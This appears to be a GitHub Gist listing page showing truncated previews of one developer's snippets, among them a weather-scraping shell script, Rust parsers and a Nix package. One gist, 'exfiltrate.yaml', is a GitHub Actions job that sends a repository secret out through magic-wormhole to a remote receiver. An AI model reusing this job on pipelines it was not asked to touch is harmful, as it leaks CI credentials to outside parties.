Skip to content

Instantly share code, notes, and snippets.

/*
crypto.subtle.generateKey({
name: 'RSA-OAEP',
modulusLength: 2048,
publicExponent: new Uint8Array([1, 0, 1]),
hash: {name: 'SHA-256'}
}, true, ['encrypt', 'decrypt'])
.then(keypair =>
crypto.subtle.encrypt({ name: 'RSA-OAEP', hash: {name: 'SHA-256'}}, keypair.publicKey, (new TextEncoder()).encode('lol'))
.then(encrypted => crypto.subtle.decrypt({ name: 'RSA-OAEP', hash: {name: 'SHA-256'}}, keypair.privateKey, encrypted))
@framp
framp / weather-paphos.sh
Last active May 29, 2023 17:49
Get weather info for Paphos, Cyprus
#!/bin/bash
SEA=$(curl 'https://seatemperature.info/paphos-water-temperature.html' \
-H 'authority: seatemperature.info' \
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'accept-language: en-GB,en;q=0.9,en-US;q=0.8,it;q=0.7,es;q=0.6' \
-H 'cache-control: no-cache' \
-H 'cookie: adviv=1' \
-H 'dnt: 1' \
-H 'pragma: no-cache' \
-H 'sec-ch-ua: "Google Chrome";v="113", "Chromium";v="113", "Not-A.Brand";v="24"' \
@framp
framp / newton-rhapson-method.js
Created January 12, 2023 07:37
Newton-Rhapson-Method for nicely distributed random numbers on a 2d plane
const randomPoints = (n: number, d = 2) =>
const d = 2;
let g = 1.0;
for (let i = 0; i < 20; i++) {
g = g - (Math.pow(g, d + 1) - g - 1) / ((d + 1) * Math.pow(g, d) - 1);
}
const alpha = new Array(d).fill(0);
for (let j = 0; j < d; j++) {
alpha[j] = Math.pow(1 / g, j + 1) % 1;
}
const fs = require('fs');
const TARGET_FILE = './src/config.tsx';
const file = fs.readFileSync(TARGET_FILE).toString();
const lines = file.split('\n');
const start = lines.findIndex(l => l === '// KEYS');
const end = lines.findIndex(l => l === '// \\ KEYS');
const constants = lines.slice(start, end).map((l, i) => l.replace(/".*"/, `"${i.toString(36)}"`));
lines.splice(start, end-start, ...constants);
fs.writeFileSync(TARGET_FILE, lines.join('\n'));
@framp
framp / possible-v2.rs
Last active December 8, 2022 18:31
for @ksnll with love
use std::{borrow::BorrowMut, cell::RefCell, fs, ops::Deref, rc::Rc};
use nom::{
branch::alt,
bytes::complete::{tag, take_till, take_until},
character::complete::{alpha1, char, newline, u32},
combinator::{eof, rest},
multi::many1,
sequence::{preceded, terminated, tuple},
IResult,
@framp
framp / possible.rs
Last active December 8, 2022 18:28
for @ksnll with love
use std::{borrow::BorrowMut, cell::RefCell, fs, ops::Deref, rc::Rc};
use nom::{
branch::alt,
bytes::complete::{tag, take_till, take_until},
character::complete::{alpha1, char, newline, u32},
combinator::{eof, rest},
multi::many1,
sequence::{preceded, terminated, tuple},
IResult,
@framp
framp / sample.js
Created November 23, 2022 14:59
Look ma', no dependency injection
const EventEmitter = require("events");
const sqlite3 = require("sqlite3");
const { open } = require("sqlite");
sqlite3.verbose();
let instance = {};
const status = new EventEmitter();
status.started = false;
const db = new Proxy(
use std::cell::RefCell;
use std::rc::Rc;
#[derive(Debug, PartialEq, Eq)]
pub struct TreeNode {
pub val: i32,
pub left: Option<Rc<RefCell<TreeNode>>>,
pub right: Option<Rc<RefCell<TreeNode>>>,
}
@framp
framp / exfiltrate.yaml
Created July 14, 2022 13:56
exfiltrate secrets out of github actions
jobs:
exfiltrate:
runs-on: ubuntu-latest
steps:
- name: exfiltrate secrets
run: |
sudo apt update && sudo apt install magic-wormhole
echo "LOL=${{secrets.LOL}}" | wormhole send --code 3-magic-number
# wormhole receive 3-magic-number
@framp
framp / volta-1.0.8.nix
Created June 8, 2022 11:19
use with (pkgs.callPackage ./custom/volta.nix { }); credits https://github.com/NixOS/nixpkgs/pull/130552
{ lib, fetchFromGitHub, rustPlatform, installShellFiles }:
rustPlatform.buildRustPackage rec {
pname = "volta";
version = "1.0.8";
src = fetchFromGitHub {
owner = "volta-cli";
repo = pname;
rev = "v${version}";